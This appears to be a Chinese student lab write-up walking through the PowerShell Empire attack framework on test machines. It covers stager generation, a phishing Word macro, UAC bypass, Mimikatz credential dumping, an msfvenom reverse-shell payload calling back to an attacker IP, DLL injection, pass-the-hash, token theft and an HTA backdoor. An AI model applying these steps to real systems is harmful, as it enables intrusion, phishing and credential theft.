20165330张羽昕
20165330张羽昕

Final——PowerShell Empire

一、介绍

  • Empire是一款针对Windows平台的、使用PowerShell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行 PowerShell代理的功能，还可以快速在后期部署漏洞利用模块，其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等，并且能够躲避网络检测和大部分安全防护工具的查杀，简单来说有点类似于 Metasploit，是一个基于 PowerShell的远程控制木马。

二、安装

  • Empire运行在Linux平台下，安装命令如下：

    git clone https://github.com/EmpireProject/Empire.git
//这样容易失败，建议直接去链接处下载压缩包解压进行后续使用
cd /Empire/setup/
./install.sh
  • 运行：./empire
    Final——PowerShell Empire_第1张图片
    可以看到它包含三个部分：
    • 一个是modules即自身的一些模块
    • 一个是listernes即监听，类似msf的exploit/multi/handler模块
    • 一个是agents即已经链接上的会话，类似msf所存的session

  • 输入help查看使用帮助
    Final——PowerShell Empire_第2张图片

三、基本使用

  • 设置监听
    • listeners进入监听线程界面
    • uselistener后按一个空格在敲两下TAB键列出可供使用的监听器，这里我们选择http
      image
    • 查看要设置的参数：info
      Final——PowerShell Empire_第3张图片
      我们看到Host和Port（即监听使用的ip和端口）已经是我们攻击方的IP和端口了，只需要修改Name即可
    • 设置参数：set Name test
    • 开始监听：execute
      Final——PowerShell Empire_第4张图片
    • 设置完成后可使用back-list查看设置好的监听器
  • 生成木马
    • 这里可以理解为Metasploit里的Payload，Empire中有多个模块化的stager
    • usestager后按一个空格在敲两下TAB键设置采用的模块（可以看到支持linux、Windows、osx）
      image
    • 选择usestager windows/dlldll木马
    • info查看参数设置
      Final——PowerShell Empire_第5张图片
    • 设置Name参数：set Name test（注意这里的名字要和监听器的名字一样！）
    • execute执行后会看到在tmp目录下生成了一个launcher.dll文件，该文件在目标主机上可以通过webshell运行，运行后empire这边就会成功上线。
    • 或者可以back后输入launcher 生成一行base64编码代码(即生成一个Payload)，将生成的这段代码在装有powershell的目标机上执行，就会得到这个主机的权限。

四、渗透实践

1、利用PowerShell Empire生成网络钓鱼文件

  • 使用Empire的macro载荷
    • 按之前步骤设置好监听
      Final——PowerShell Empire_第6张图片
    • 使用macro载荷
      Final——PowerShell Empire_第7张图片
  • 上图中我们生成了一个宏，并且保存在tmp目录中名称为macro，打开我们可以发现该载荷使用PowerShell的编码命令进行了转换，就像我们用launcher powershell tc生成payload，再进行VBA代码的转换。
    Final——PowerShell Empire_第8张图片
  • 将上面的宏添加到一个Office文档中
    • 新建一个Word文件或Excel文件
    • 选择视图-宏，点击创建后，在VB编辑界面将里面已有的代码删除，然后，将刚才用Empire生成的宏复制粘贴进去。
      Final——PowerShell Empire_第9张图片
    • 点击保存时会跳出一个对话框，选择否，接着我们保存为97-2003格式即可。
  • 现在将生成好的钓鱼文件在靶机上运行（钓鱼文件嘛里面要添加一些正常吸引人的内容），此时会有提示未启用宏，点击启用宏内容后，ok上线成功！
    Final——PowerShell Empire_第10张图片
  • 下面我们就可以进行一些操作了！！
    • 修改下靶机的名称（方便使用）：rename 43SY8BVU tc
    • 与靶机进行交互：interact tc
    • 截屏：sc
      Final——PowerShell Empire_第11张图片
    • 查看系统信息：sysinfo
      Final——PowerShell Empire_第12张图片
    • 尝试提权：bypassuac test，等几秒钟，就会返回一个更高权限的shell，再次输入agents，发现当前靶机主机名前带有一个*，表示提权成功！
      Final——PowerShell Empire_第13张图片
    • 使用内置的mimikatz模块：mimikatz（神器mimikatz介绍）这里主要是抓取靶机的用户名和密码
      Final——PowerShell Empire_第14张图片

2、MSF与Empire联动

  • 我们在之前的实验里都是用MSF进行渗透获取session，而这个session一般是没有高权限的，这是我们可以利用Empire进行后续更高权限操作。
  • 先使用msfvenom简单编码生成一个木马：msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.88.130 LPORT=5330 -a x64 -f exe -o test.exe
  • MSF中开启监听并在靶机上运行获取session
    Final——PowerShell Empire_第15张图片
  • 接下将这个session关联至Empire
    • 创建一个监听器，设置监听器名字、监听主机和监听端口（注意和MSF的相同）
    • 使用dll诸如进程来关联Empire：我们选用usestager windows/dll模块
      image
  • 选取一个进程号实现注入：MSF的session下使用ps查看进程
    Final——PowerShell Empire_第16张图片
  • 注入dll文件
    • background后台运行会话
    • use post/windows/manage/reflective_dll_inject
    • 设置参数后run
      Final——PowerShell Empire_第17张图片
  • 看到注入完毕，Empire这边就有了上线反应（因为电脑出问题重做了一遍，靶机地址有变）
    Final——PowerShell Empire_第18张图片
  • 下面我们先提权：bypassuac test(监听名称)
    Final——PowerShell Empire_第19张图片
  • 现在我们使用Empire自带的module进行令牌窃取
    • 使用内置mimikatz获取系统密码，执行完毕后输入creds命令查看Empire列举的密码
      image
    • 窃取身份：pth CredID号
      Final——PowerShell Empire_第20张图片
    • 窃取身份令牌：steal_token PID号
      Final——PowerShell Empire_第21张图片
    • 通过ps我们可以找到该进程
      Final——PowerShell Empire_第22张图片

3、永生之火后门渗透

  • Empire按之前步骤开启监听后，launcher powershell test生成一段powershell代码
    Final——PowerShell Empire_第23张图片
  • 随任意格式的图片在在线base64转换将其转成base64格式
    Final——PowerShell Empire_第24张图片

  • 上面代码插入以下代码块中

    

   weibo@flagellantX
  • 将完整的代码，用Script Encoder程序打开，选用HTML/ASP+Scripts，点击Convert。在右边框，形成脚本代码。
    Final——PowerShell Empire_第25张图片

  • 之后我们打包出一个.hta的可执行文件，在目标主机上运行，轻松在Empire上线
    Final——PowerShell Empire_第26张图片

参考资料

  • Empire 2.5：PowerShell渗透测试实战指南

你可能感兴趣的:(Final——PowerShell Empire)

  • 使用 FinalShell 进行远程连接（ssh 远程连接 Linux 服务器） 编程经验分享 开发工具服务器sshlinux
    目录前言基本使用教程新建远程连接连接主机自定义命令路由追踪前言后端开发，必然需要和服务器打交道，部署应用，排查问题，查看运行日志等等。一般服务器都是集中部署在机房中，也有一些直接是云服务器，总而言之，程序员不可能直接和服务器直接操作，一般都是通过ssh连接来登录服务器。刚接触远程连接时，使用的是XSHELL来远程连接服务器，连接上就能够操作远程服务器了，但是仅用XSHELL并没有上传下载文件的功能
  • CentOS7 安装MySQL5.7.44 不要Null了 javacentosmysql
    1.下载mysql安装包，我放在百度网盘里(下方链接)链接：https://pan.baidu.com/s/1_Mn1XW_1mWdTV4mhnLG66A提取码：s31n2.首先看看以前是否安装过mysqlrpm-qa|grep-imysql如果已经安装过mysql会提示卸载mysqlrpm-emysql-…3.使用FinallShell或者Xftp进行上传放到/usr/local/mysql，没
  • 【网络安全 | 代码审计】JFinal之DenyAccessJsp绕过 秋说 网络安全web安全java代码审计漏洞挖掘
    未经许可，不得转载。文章目录前言代码审计推理绕过Tomcat解析JSP总结概念验证阐发前言JFinal是一个基于Java的轻量级MVC框架，用于快速构建Web应用程序。它的设计理念是追求极简、灵活、高效，旨在提高开发效率，减少冗余代码的编写，适合中小型项目以及对性能有较高要求的项目。在较新的JFinal版本中，默认情况下无法直接通过浏览器地址栏输入.jsp文件名来访问对应的JSP文件。也就是说，主
  • 文件大小自动转换工具类 小卡车555 java
    根据传入的文件大小，自动转换为B、KB、MB、GB、TBimportjava.text.DecimalFormat;publicclassFileSizeUtil{/***文件单位*/privatestaticfinalString[]units=newString[]{"B","KB","MB","GB","TB"};/***文件大小自动转换*@paramsize*@return*/public
  • 枚举，注解 柴... 韩顺平学习java开发语言
    自定义类实现枚举1.不需要提供setXxx方法，因为枚举对象值通常为只读2.对枚举对象/属性使用final+static共同修饰，实现底层优化3.枚举对象名通常使用全部大写，常量的命名规范(XXX_XXX)4.枚举对象根据需要，也可以有多个属性packagechapter;publicclassEnum{publicstaticvoidmain(String[]args){System.out.p
  • Java之String、StringBuffer、StringBuilder zoux
    （1）String：String类是final修饰的，是不可变的。我们看到的例如:Stringa="hello";a=a+"1";实际上是先生成了一个对象然后得到结果"hello1",最后在赋值给对象a;String类型的任何改动都是先生成一个其他对象再重新赋值。所以String类适合那种常量或者基本没变化的字符串。（2）StringBuilderStringbuffer是可改变的，用append
  • Python中的“Try...Except...Finally”：掌握异常处理的艺术 小鹿( ﹡ˆoˆ﹡ ) Pythonpython开发语言Python
    在编程的世界里，错误与异常就像是旅途中的迷雾，虽然不可避免，但通过正确的导航工具，我们可以安全地穿越。Python作为一种广泛使用的编程语言，提供了丰富的工具来帮助我们处理这些异常情况，其中之一便是“Try…Except…Finally”结构。本文将带你深入了解这一机制的核心概念、实际应用以及如何利用它来提升代码的健壮性和可维护性，无论你是刚入门的新手还是经验丰富的开发人员，都能从中受益匪浅。引言
  • Python 安装 Selenium 报错解决方案：全方位排错指南 小柒笔记 pythonselenium开发语言
    引言在尝试使用pip安装Selenium库时，您可能会遇到中断报错，这通常是由于多种原因造成的，如网络问题、权限问题或依赖项缺失等。本文将指导您如何解决这一常见问题。一、检查网络连接首先，确保您的网络连接稳定。pip安装过程中需要从互联网下载包，因此网络不稳定可能导致安装失败。二、使用管理员权限运行在Windows系统中，尝试使用管理员权限运行命令提示符或PowerShell。右键点击命令提示符或
  • Java面试必问之Hashmap底层实现原理(JDK1.7) 当我遇上你csy Java基础javahashmap面试源码
    1.前言Hashmap可以说是Java面试必问的，一般的面试题会问:Hashmap有哪些特性？Hashmap底层实现原理(get\put\resize)Hashmap怎么解决hash冲突？Hashmap是线程安全的吗？…今天就从源码角度一探究竟。笔者的源码是OpenJDK1.72.构造方法首先看构造方法的源码//默认初始容量staticfinalintDEFAULT_INITIAL_CAPACIT
  • 自动生成不重复的订单id 负熵流 开发语言java
    @ApiModel(value="订单")@Entity@EntityListeners(AuditingEntityListener.class)publicclassOrderimplementsSerializable{privatestaticfinallongserialVersionUID=-44480262996409913L;@Id@Column(name="id",nullabl
  • First page Simon_Liu
    Now,finallystarted.NotsurehowlongIcankeepthisup,hopefullylongenough.
  • 搭建第一个SpringDataJPA工程 码来码去（未来可期） JavaWebjava
    第一步：创建maven工程，导入maven坐标使用SpringDataJPA，需要整合Spring与SpringDataJPA，并且需要提供JPA的服务提供者hibernate，所以需要导入spring相关坐标，hibernate坐标，数据库驱动坐标等4.2.4.RELEASE5.0.7.Final1.6.61.2.120.9.1.25.1.6junitjunit4.9testorg.aspect
  • Tomato and egg noodles EHHHA
    First,washandcutupthetomato.Next,pourtheeggintothebowlThen,potthenoodlesintothepot.Next,putthenoodlesandeggsintothepot.waitfiveminutes.Finaly,putthenoodlesinit.Don'tforgetaddsomesalt.andwecaneatit.图片发
  • Python 安装selenium时遇到问题解决措施 博吧啦 pythonselenium开发语言
    在使用pip安装selenium库的过程中可能会遇到各种各样的问题。通过这篇文章，大多数与selenium安装相关的问题都可以得到解决。希望对各位有帮助。1、确保网络连接稳定安装过程需要网络，网络不稳定可能导致安装失败。2、使用管理员权限运行以Windows系统为例：按Windows键+X以显示WinX菜单。从弹出菜单中，选择"WindowsPowerShell（管理员）"以管理员模式打开它。Wi
  • 【项目实践】Pyside6+Qtdesigner：登录窗体设计 climber1121 Python项目实战QT数据库python
    代码功能：可实现应用程序用户管理，实现用户登录、注册、密码修改代码文档结构：user_database.db：数据库文件，用于存储用户数据，第一运行代码时自动生成login.ui：UI文件，由QT设计ui_login.py（由login.ui编译过来）在终端WindowsPowerShell运行如下代码即可生成pyside6-uiclogin.ui-oui_login.pytest_login.p
  • Java基础全程学习笔记（二） 网路侠客 java学习笔记开发语言
    第06章：面向对象-基础#面向对象内容的三条主线：>类及类的内部成员：属性、方法、构造器;代码块、内部类>面向对象的三大特征：封装性、继承性、多态性>其它关键字的使用：package、import、this、super、static、final、abstract、interface等1.理解：面向过程vs面向对象#简单的语言描述二者的区别>面向过程：以`函数`为组织单位。是一种“`执行者思维`”，
  • SpringBoot中资源可以默认被访问的路径 76e
    场景：SpringBoot项目中新建一个html文件，那么这个文件放在哪些路径下时可以无需配置，默认就能被访问？IDEA中新建SpringBoot项目，找到SpringBoot源码文件ResourceProperties.class源码文件ResourceProperties.class重点关注这行代码：privatestaticfinalString[]CLASSPATH_RESOURCE_LO
  • Flutter类 且听真言 Flutter类定义及使用构造函数get/set修饰符对象操作符继承接口和抽象类Mixins（混入）
    Dart中的对象都继承自Object类，单继承（extend关键字）。Dart与Java、kotlin不同的是其无public、private、protected修饰符，默认public，通过在属性名、方法名前加_下划线来定义是否私有。实现一个简单的类classStudent{//默认publicfinalStringname;//默认publicfinalintage;Student(this.
  • java正常_Java正常关闭资源的方式 这是eno java正常
    在实际开发中，经常需要在程序中打开一些物理资源，如数据库连接、网络连接、磁盘文件等，打开这些物理资源之后必须显式关闭，否则将会引起资源泄漏。JVM的垃圾回收机制不会回收这些资源，垃圾回收机制属于Java内存管理的一部分，它只是负责回收堆内存中分配出来的内存，至于程序中打开的物理资源，垃圾回收机制是无能为力的。为了正常关闭程序中打开的物理资源，应该使用finally块来保证回收。下面程序示范了常见的
  • python ‘pip‘ 不是内部或外部命令，也不是可运行的程序 Jinx Boy pythonpip
    当你遇到'pip'不是内部或外部命令，也不是可运行的程序这样的错误时，通常是因为Python的pip可执行文件没有被添加到系统的环境变量中。这导致了命令行界面（如Windows的命令提示符或PowerShell，或Linux/MacOS的终端）找不到pip命令。要解决这个问题，你可以按照以下步骤操作：查找Python安装位置：找到你的Python安装目录，通常是在C:\Users\\AppData
  • 《重构：改善既有代码的设计》-学习笔记二（+实战解析 2401_86367399 面试辅导大厂内推重构学习笔记
    returnfinalPrice;}privatedoublediscountedPrice(intdiscountLevel){if(discountLevel==2)returngetBasePrice()*0.1;elsereturngetBasePrice()*0.05;}privateintgetBasePrice(){return_quantity*_itemPrice;}优化1，2，
  • 记录一次获取车载摄像头数量为0同时打开摄像头黑屏的问题分析（基于Android M） 言并肃 android源码分析androidCameraframework
    在一次实车测试车载倒车过程中，出现了倒车打开车载摄像头黑屏的现象。分析收集的log，发现初始化Camera前会获取摄像头数量来确定车载摄像头是否连接，当获取的摄像头数量大于0时则认为接入了摄像头。于是跟踪Camera的源码，追查原因。首先从app层的代码入手，获取的摄像头的代码如下：privatestaticfinalintCAMERA_TYPE_BACKWARD_COMPATIBLE=0;pri
  • 极简的Restful框架推荐->Resty weixin_33881140 jsonjava开发工具
    源码链接：Resty开发文档如果你还不是很了解restful，或者认为restful只是一种规范不具有实际意义，推荐一篇osc两年前的文章：RESTfulAPI设计最佳实践和Infoq的一篇极其理论的文章理解本真的REST架构风格虽然有点老，介绍的也很简单，大家权当了解，restful的更多好处，还请google拥有jfinal/activejdbc一样的activerecord的简洁设计，使用更
  • 【drools】文档2：起步 drools和dmn 等风来不如迎风去 网络服务入门与实战springdrools
    GettingStartedDroolsUserGuide8.44.0.FinalGettingStartedFirstRuleProjectThisguidewalksyouthroughtheprocessofcreatingasimpleDroolsapplicationproject.PrerequisitesJDK11+withJAVA_HOMEconfiguredappropriate
  • C语言-数据结构 无向图迪杰斯特拉算法(Dijkstra)邻接矩阵存储 Happy鱿鱼 算法c语言数据结构
    在迪杰斯特拉中，相比普利姆算法，是从顶点出发的一条路径不断的寻找最短路径，在实现的时候需要创建三个辅助数组，记录算法的关键操作，分别是Visited[MAXVEX]记录顶点是否被访问，教材上写的final数组但作用是一样的，然后第二个数组是TmpDistance[MAXVEX]，教材使用的D数组，命名语义化较弱不太好理解，实际用途与TmpDistance一样的，用于记录算法过程中，当前顶点到达邻接
  • 国内版Office 365邮件追踪指南：命令行界面方法 xueyunshengling Office365和Microsoft365相关方案微软精华知识宝箱数据库ExchangePowershellgithub邮件跟踪邮件查询
    目录一、前提条件二、安装PowerShell模块安装命令三、连接到ExchangeOnline步骤1：启动PowerShell步骤2：连接到ExchangeOnline四、执行邮件追踪步骤1：使用Get-MessageTrace命令获取过去48小时的邮件追踪信息获取特定发件人的邮件追踪信息获取特定收件人的邮件追踪信息步骤2：使用Get-MessageTraceDetail命令获取特定邮件的详细信息
  • java Object类源代码详解 及nativ 轻口味 JAVA语法及基础增强javaobjectjvmequals语言dll
    Java代码packagejava.lang;publicclassObject{/*一个本地方法，具体是用C（C++）在DLL中实现的，然后通过JNI调用。*/privatestaticnativevoidregisterNatives();/*对象初始化时自动调用此方法*/static{registerNatives();}/*返回此Object的运行时类。*/publicfinalnativ
  • 深入理解hadoop(一)----Common的实现----Configuration maoxiao_jsd 深入理解----hadoop
    属本人个人原创，转载请注明,希望对大家有帮助！！一,hadoop的配置管理a,hadoop通过独有的Configuration处理配置信息Configurationconf=newConfiguration();conf.addResource("core-default.xml");conf.addResource("core-site.xml");后者会覆盖前者中未final标记的相同配置项b
  • python错误处理（try except ） 960 python开发语言
    finally如果有，则一定会被执行（可以没有finally语句）。以有多个except来捕获不同类型的错误：try:print('try...')r=10/int('a')print('result:',r)exceptValueErrorase:print('ValueError:',e)exceptZeroDivisionErrorase:print('ZeroDivisionError:'
  • resume栈顶Activity--Android P 淡淡的宁静 Android基础android
    ActivityStackSuperior#resumeFocusedStackTopActivityLocked()->ActivityStack#resumeTopActivityUncheckedLocked()->resumeTopActivityInnerLocked()finalClientTransactiontransaction=ClientTransaction.obtain(
  • Java 并发包之线程池和原子计数 lijingyao8206 Java计数ThreadPool并发包java线程池
    对于大数据量关联的业务处理逻辑，比较直接的想法就是用JDK提供的并发包去解决多线程情况下的业务数据处理。线程池可以提供很好的管理线程的方式，并且可以提高线程利用率，并发包中的原子计数在多线程的情况下可以让我们避免去写一些同步代码。     这里就先把jdk并发包中的线程池处理器ThreadPoolExecutor 以原子计数类AomicInteger 和倒数计时锁C
  • java编程思想 抽象类和接口 百合不是茶 java抽象类接口
    接口c++对接口和内部类只有简介的支持,但在java中有队这些类的直接支持   1 ,抽象类 :  如果一个类包含一个或多个抽象方法,该类必须限定为抽象类(否者编译器报错)   抽象方法 : 在方法中仅有声明而没有方法体    package com.wj.Interface;
  • [房地产与大数据]房地产数据挖掘系统 comsci 数据挖掘
           随着一个关键核心技术的突破,我们已经是独立自主的开发某些先进模块,但是要完全实现,还需要一定的时间...        所以,除了代码工作以外,我们还需要关心一下非技术领域的事件..比如说房地产     &nb
  • 数组队列总结 沐刃青蛟 数组队列
          数组队列是一种大小可以改变，类型没有定死的类似数组的工具。不过与数组相比，它更具有灵活性。因为它不但不用担心越界问题，而且因为泛型（类似c++中模板的东西）的存在而支持各种类型。      以下是数组队列的功能实现代码：   import List.Student; public class
  • Oracle存储过程无法编译的解决方法 IT独行者 oracle存储过程　
    今天同事修改Oracle存储过程又导致2个过程无法被编译，流程规范上的东西，Dave 这里不多说，看看怎么解决问题。   1.     查看无效对象 XEZF@xezf(qs-xezf-db1)> select object_name,object_type,status from all_objects where status='IN
  • 重装系统之后oracle恢复 文强chu oracle
    前几天正在使用电脑，没有暂停oracle的各种服务。 突然win8.1系统奔溃，无法修复，开机时系统 提示正在搜集错误信息，然后再开机，再提示的无限循环中。 无耐我拿出系统u盘 准备重装系统，没想到竟然无法从u盘引导成功。 晚上到外面早了一家修电脑店，让人家给装了个系统，并且那哥们在我没反应过来的时候， 直接把我的c盘给格式化了 并且清理了注册表，再装系统。 然后的结果就是我的oracl
  • python学习二（ 一些基础语法） 小桔子 pthon基础语法
    紧接着把！昨天没看继续看django 官方教程，学了下python的基本语法 与c类语言还是有些小差别： 1.ptyhon的源文件以UTF-8编码格式 2. /   除 结果浮点型 //  除 结果整形 %   除 取余数 *   乘 **  乘方 eg 5**2 结果是5的2次方25 _&
  • svn 常用命令 aichenglong SVN版本回退
    1 svn回退版本   1)在window中选择log,根据想要回退的内容,选择revert this version或revert chanages from this version 两者的区别:   revert this version:表示回退到当前版本(该版本后的版本全部作废)   revert chanages from this versio
  • 某小公司面试归来 alafqq 面试
    先填单子，还要写笔试题，我以时间为急，拒绝了它。。时间宝贵。 老拿这些对付毕业生的东东来吓唬我。。 面试官很刁难，问了几个问题，记录下； 1，包的范围。。。public,private,protect. --悲剧了 2，hashcode方法和equals方法的区别。谁覆盖谁.结果，他说我说反了。 3，最恶心的一道题，抽象类继承抽象类吗？（察，一般它都是被继承的啊） 4，stru
  • 动态数组的存储速度比较 集合框架 百合不是茶 集合框架
    集合框架： 自定义数据结构(增删改查等) package 数组; /** * 创建动态数组 * @author 百合 * */ public class ArrayDemo{ //定义一个数组来存放数据 String[] src = new String[0]; /** * 增加元素加入容器 * @param s要加入容器
  • 用JS实现一个JS对象，对象里有两个属性一个方法 bijian1013 js对象
    <html> <head> </head> <body> 用js代码实现一个js对象，对象里有两个属性，一个方法 </body> <script> var obj={a:'1234567',b:'bbbbbbbbbb',c:function(x){
  • 探索JUnit4扩展：使用Rule bijian1013 java单元测试JUnitRule
            在上一篇文章中，讨论了使用Runner扩展JUnit4的方式，即直接修改Test Runner的实现(BlockJUnit4ClassRunner)。但这种方法显然不便于灵活地添加或删除扩展功能。下面将使用JUnit4.7才开始引入的扩展方式——Rule来实现相同的扩展功能。 1. Rule       &n
  • [Gson一]非泛型POJO对象的反序列化 bit1129 POJO
    当要将JSON数据串反序列化自身为非泛型的POJO时，使用Gson.fromJson(String, Class)方法。自身为非泛型的POJO的包括两种： 1. POJO对象不包含任何泛型的字段 2. POJO对象包含泛型字段，例如泛型集合或者泛型类 Data类 a.不是泛型类， b.Data中的集合List和Map都是泛型的 c.Data中不包含其它的POJO    
  • 【Kakfa五】Kafka Producer和Consumer基本使用 bit1129 kafka
    0.Kafka服务器的配置 一个Broker， 一个Topic Topic中只有一个Partition（）   1. Producer： package kafka.examples.producers; import kafka.producer.KeyedMessage; import kafka.javaapi.producer.Producer; impor
  • lsyncd实时同步搭建指南——取代rsync+inotify ronin47
    1. 几大实时同步工具比较 1.1 inotify + rsync 最近一直在寻求生产服务服务器上的同步替代方案，原先使用的是 inotify + rsync，但随着文件数量的增大到100W+，目录下的文件列表就达20M，在网络状况不佳或者限速的情况下，变更的文件可能10来个才几M，却因此要发送的文件列表就达20M，严重减低的带宽的使用效率以及同步效率；更为要紧的是，加入inotify
  • java-9. 判断整数序列是不是二元查找树的后序遍历结果 bylijinnan java
    public class IsBinTreePostTraverse{ static boolean isBSTPostOrder(int[] a){ if(a==null){ return false; } /*1.只有一个结点时，肯定是查找树 *2.只有两个结点时，肯定是查找树。例如{5,6}对应的BST是 6 {6,5}对应的BST是
  • MySQL的sum函数返回的类型 bylijinnan javaspringsqlmysqljdbc
    今天项目切换数据库时，出错 访问数据库的代码大概是这样： String sql = "select sum(number) as sumNumberOfOneDay from tableName"; List<Map> rows = getJdbcTemplate().queryForList(sql); for (Map row : rows
  • java设计模式之单例模式 chicony java设计模式
    在阎宏博士的《JAVA与模式》一书中开头是这样描述单例模式的： 　　作为对象的创建模式，单例模式确保某一个类只有一个实例，而且自行实例化并向整个系统提供这个实例。这个类称为单例类。 单例模式的结构 　　单例模式的特点： 单例类只能有一个实例。 单例类必须自己创建自己的唯一实例。 单例类必须给所有其他对象提供这一实例。 　　饿汉式单例类   publ
  • javascript取当月最后一天 ctrain JavaScript
    <!--javascript取当月最后一天--> <script language=javascript> var current = new Date(); var year = current.getYear(); var month = current.getMonth(); showMonthLastDay(year, mont
  • linux tune2fs命令详解 daizj linuxtune2fs查看系统文件块信息
    一.简介： tune2fs是调整和查看ext2/ext3文件系统的文件系统参数，Windows下面如果出现意外断电死机情况，下次开机一般都会出现系统自检。Linux系统下面也有文件系统自检，而且是可以通过tune2fs命令，自行定义自检周期及方式。 二.用法： Usage: tune2fs [-c max_mounts_count] [-e errors_behavior] [-g grou
  • 做有中国特色的程序员 dcj3sjt126com 程序员
      从出版业说起 网络作品排到靠前的，都不会太难看，一般人不爱看某部作品也是因为不喜欢这个类型，而此人也不会全不喜欢这些网络作品。究其原因，是因为网络作品都是让人先白看的，看的好了才出了头。而纸质作品就不一定了，排行榜靠前的，有好作品，也有垃圾。 许多大牛都是写了博客，后来出了书。这些书也都不次，可能有人让为不好，是因为技术书不像小说，小说在读故事，技术书是在学知识或温习知识，有
  • Android：TextView属性大全 dcj3sjt126com textview
    android:autoLink    设置是否当文本为URL链接/email/电话号码/map时，文本显示为可点击的链接。可选值(none/web/email/phone/map/all)  android:autoText    如果设置，将自动执行输入值的拼写纠正。此处无效果，在显示输入法并输
  • tomcat虚拟目录安装及其配置 eksliang tomcat配置说明tomca部署web应用tomcat虚拟目录安装
    转载请出自出处：http://eksliang.iteye.com/blog/2097184 1.-------------------------------------------tomcat  目录结构 config：存放tomcat的配置文件 temp  ：存放tomcat跑起来后存放临时文件用的 work   ： 当第一次访问应用中的jsp
  • 浅谈：APP有哪些常被黑客利用的安全漏洞 gg163 APP
    首先，说到APP的安全漏洞，身为程序猿的大家应该不陌生；如果抛开安卓自身开源的问题的话，其主要产生的原因就是开发过程中疏忽或者代码不严谨引起的。但这些责任也不能怪在程序猿头上，有时会因为BOSS时间催得紧等很多可观原因。由国内移动应用安全检测团队爱内测（ineice.com）的CTO给我们浅谈关于Android 系统的开源设计以及生态环境。 1. 应用反编译漏洞：APK 包非常容易被反编译成可读
  • C#根据网址生成静态页面 hvt Web.netC#asp.nethovertree
    HoverTree开源项目中HoverTreeWeb.HVTPanel的Index.aspx文件是后台管理的首页。包含生成留言板首页，以及显示用户名，退出等功能。根据网址生成页面的方法：   bool CreateHtmlFile(string url, string path) { //http://keleyi.com/a/bjae/3d10wfax.htm stri
  • SVG 教程 （一） 天梯梦 svg
    SVG 简介 SVG 是使用 XML 来描述二维图形和绘图程序的语言。 学习之前应具备的基础知识： 继续学习之前，你应该对以下内容有基本的了解： HTML XML 基础 如果希望首先学习这些内容，请在本站的首页选择相应的教程。 什么是SVG？ SVG 指可伸缩矢量图形 (Scalable Vector Graphics) SVG 用来定义用于网络的基于矢量
  • 一个简单的java栈 luyulong java数据结构栈
    public class MyStack { private long[] arr; private int top; public MyStack() { arr = new long[10]; top = -1; } public MyStack(int maxsize) { arr = new long[maxsize]; top
  • 基础数据结构和算法八：Binary search sunwinner AlgorithmBinary search
    Binary search needs an ordered array so that it can use array indexing to dramatically reduce the number of compares required for each search, using the classic and venerable binary search algori
  • 12个C语言面试题，涉及指针、进程、运算、结构体、函数、内存，看看你能做出几个！ 刘星宇 c面试
    12个C语言面试题，涉及指针、进程、运算、结构体、函数、内存，看看你能做出几个！ 1.gets()函数 问：请找出下面代码里的问题： #include<stdio.h> int main(void) {     char buff[10];     memset(buff,0,sizeof(buff));
  • ITeye 7月技术图书有奖试读获奖名单公布 ITeye管理员 活动ITeye试读
    ITeye携手人民邮电出版社图灵教育共同举办的7月技术图书有奖试读活动已圆满结束，非常感谢广大用户对本次活动的关注与参与。 7月试读活动回顾： http://webmaster.iteye.com/blog/2092746 本次技术图书试读活动的优秀奖获奖名单及相应作品如下（优秀文章有很多，但名额有限，没获奖并不代表不优秀）： 《Java性能优化权威指南》
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他